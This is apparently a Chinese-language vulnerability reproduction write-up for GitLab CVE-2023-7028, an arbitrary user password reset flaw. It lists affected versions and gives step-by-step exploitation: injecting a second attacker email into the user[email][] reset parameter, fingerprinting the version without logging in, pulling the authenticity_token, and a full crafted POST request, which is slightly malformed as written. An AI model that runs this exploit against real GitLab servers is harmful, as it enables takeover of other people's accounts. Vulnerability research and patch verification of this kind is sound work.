GitLab 任意用户密码重置漏洞(CVE-2023-7028)
漏洞描述:
2024年1月11日,Gitlab官方披露CVE-2023-7028 GitLab 任意用户密码重置漏洞,官方评级严重。攻击者可利用忘记密码功能,构造恶意请求获取密码重置链接从而重置密码。官方已发布安全更新,建议升级至最新版本,若无法升级,建议利用安全组功能设置Gitlab仅对可信地址开放。
漏洞利用条件:
1、需获取系统已有用户注册邮箱地址
2、满足影响版本
16.1 <=GitLab CE<16.1.6
16.2 <=GitLab CE<16.2.8
16.3 <=GitLab CE<16.3.6
16.4 <=GitLab CE<16.4.4
16.5 <=GitLab CE<16.5.6
16.6 <=GitLab CE<16.6.4
16.7 <=GitLab CE<16.7.2
16.1 <=GitLab EE<16.1.6
16.2 <=GitLab EE<16.2.8
16.3 <=GitLab EE<16.3.6
16.4 <=GitLab EE<16.4.4
16.5 <=GitLab EE<16.5.6
16.6 <=GitLab EE<16.6.4
16.7 <=GitLab EE<16.7.2
这里被找回邮箱为个人注册邮箱地址,真实环境中需先获取目标邮箱地址
访问找回密码页面:/users/password/new
填写被找回邮箱地址,然后点击抓包
修改请求包为:user[email][]=目标邮箱地址&user[email][]=攻击者邮箱地址
成功复现
其实这里看到收件人邮箱已经变为两个了
关于自动化主要有两个坑点,第一是如何获取版本号,第二是在找回密码的阶段会需要有一个uauthenticity_token
下面针对上面2点提出解决办法:
1、获取版本
公开的一些获取版本的办法大多是需要鉴权的,这里分享一种不需要登录的办法
访问/assets/webpack/manifest.json
获取hash值去GitHub对比版本号
https://github.com/righel/gitlab-version-nse/blob/main/gitlab_hashes.json
可以发现版本是gitlab-ce 16.5.0
对比发现是正确的
2、authenticity_token获取
访问找回密码界面/users/password/new
查看源代码搜索authenticity_token
即可
构造http请求包
POST /users/password HTTP/1.1
Host: xx.com
Origin: http://xx.com
Content-Type: application/x-www-form-urlencoded
Referer: http://xx.com/users/password/new8
Cookie: preferred_language=zh_CN; _gitlab_session=e00664e028c369cdd6dff19f6d7b76bfauthenticity_token=vJBEyoTkR10UJNhrFcoJOYftTHaxPj3MHVSJusNt85SyyZ60RajsS2RsgkMetn7hd_k891ZUNCdePjdW5uUW6w&user%5Bemail%5D%5B%5D=目标邮箱地址&user%5Bemail]%5D%5B%5D=攻击者邮箱地址